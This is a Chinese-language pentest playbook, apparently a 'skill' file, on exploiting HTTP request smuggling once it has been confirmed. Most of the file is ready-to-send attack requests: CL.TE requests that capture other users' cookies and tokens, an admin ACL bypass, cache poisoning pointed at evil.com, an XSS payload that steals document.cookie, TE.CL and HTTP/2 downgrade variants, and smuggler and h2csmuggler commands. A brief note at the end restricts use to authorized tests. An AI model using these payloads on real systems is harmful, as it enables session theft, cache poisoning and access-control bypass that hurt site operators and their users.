netvar1337 HTTP 请求走私高级利用
前置: 本 skill 专注于确认走私漏洞后的链式利用
⛔ 深入参考
- 各类走私变体检测 payload → references/smuggling-detection.md
- H2C/H2 降级走私技术 → references/h2-smuggling.md
Phase 0: 走私类型速查
前端(FE) 用什么解析请求长度？后端(BE) 用什么？
CL.TE: FE 用 Content-Length → BE 用 Transfer-Encoding
TE.CL: FE 用 Transfer-Encoding → BE 用 Content-Length
TE.TE: 两者都用 TE，但对畸形 TE 头处理不一致
H2.CL: FE 用 HTTP/2 帧长度 → BE 降级到 HTTP/1.1 用 CL
H2.TE: FE 用 HTTP/2 → BE 降级后用 TE
⛔ 确认走私存在后才进入本 skill 的利用阶段
Phase 1: CL.TE 走私利用
1.1 窃取其他用户请求
POST / HTTP/1.1
Host: target.com
Content-Length: 130
Transfer-Encoding: chunked
0
POST /log HTTP/1.1
Host: target.com
Content-Length: 500
Content-Type: application/x-www-form-urlencoded
stolen=
原理： 后端将 POST /log ... stolen= 当作下一个请求的前缀 → 下一个用户的完整请求被拼接到 stolen= 后面 → 你可以读取他们的 Cookie/Token
1.2 绕过前端 ACL
POST / HTTP/1.1
Host: target.com
Content-Length: 73
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: target.com
X-Forwarded-For: 127.0.0.1
原理： 前端只检查第一个请求（POST /）→ 放行。被走私的 GET /admin 直接到达后端 → 绕过前端的 IP/路径限制。
1.3 投毒 Web 缓存
POST / HTTP/1.1
Host: target.com
Content-Length: 120
Transfer-Encoding: chunked
0
GET /static/main.js HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
原理： 走私的 GET 请求 + 恶意 Host 头 → 后端返回包含 evil.com 的响应 → 前端缓存此响应 → 其他用户访问 /static/main.js 获取到被投毒的内容。
1.4 反射 XSS 升级为存储 XSS
POST / HTTP/1.1
Host: target.com
Content-Length: 150
Transfer-Encoding: chunked
0
GET /search?q=<script>alert(document.cookie)</script> HTTP/1.1
Host: target.com
X-Random: x
原理： 如果 /search 有反射 XSS → 走私请求让下一个用户的响应变成包含 XSS payload 的搜索结果页 → 反射变存储。
Phase 2: TE.CL 走私利用
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked
78
POST /admin HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
关键： 前端根据 TE 正确读取全部 chunked 数据。后端根据 CL=4 只读 78\r\n，剩余的 POST /admin ... 被当作独立新请求。
Phase 3: HTTP/2 降级走私 (H2.CL / H2.TE)
3.1 H2.CL 走私
HTTP/2 请求（前端）：
:method: POST
:path: /
:authority: target.com
content-length: 0
走私的 HTTP/1.1（后端看到的）：
POST / HTTP/1.1\r\n
Host: target.com\r\n
Content-Length: 0\r\n
\r\n
GET /admin HTTP/1.1\r\n
Host: target.com\r\n
\r\n
原理： HTTP/2 用帧长度，不需要 CL。但降级到 HTTP/1.1 时，错误的 CL 值使后端将多余数据当作新请求。
3.2 H2 Request Tunneling
利用 HTTP/2 HEADERS 帧的特殊头：
:method: POST
:path: /
:authority: target.com
transfer-encoding: chunked
在 HTTP/2 中 TE 头通常被忽略，但降级后生效
→ 可构造 CL 与 TE 不一致的情况
Phase 4: 自动化检测与利用
工具
# smuggler.py — 自动化检测
python3 smuggler.py -u https://target.com
# Burp Suite — HTTP Request Smuggler 扩展
# 安装扩展 → Scan → 报告走私类型
# h2csmuggler — HTTP/2 明文升级走私
python3 h2csmuggler.py -x https://target.com -t /admin
# 手动 curl 验证（CL.TE）
curl -i -X POST https://target.com/ \
-H "Content-Length: 6" \
-H "Transfer-Encoding: chunked" \
--data-binary $'0\r\n\r\nG'
# 如果第二次正常 GET 返回 "GGET / HTTP/1.1 ..." 405 → 存在走私
验证走私成功的方法
方法 1: 时间差异
├─ 走私一个有延迟的请求 → 观察响应时间变化
方法 2: 差异响应
├─ 走私 GET /404path → 下一个正常请求返回 404
方法 3: 反射请求
├─ 走私请求到自己控制的日志服务器
├─ 观察是否收到其他用户的请求
方法 4: OAST（Out-of-band）
├─ 走私 Host: burp-collaborator.net
├─ 检查 Collaborator 收到的 DNS/HTTP 请求
⛔ 风险控制
- 请求走私会影响其他用户 → 仅在授权测试中使用
- 测试时使用唯一标识符区分你的请求
- 先用时间差异法确认 → 再进行利用
- 避免大量走私请求导致服务不可用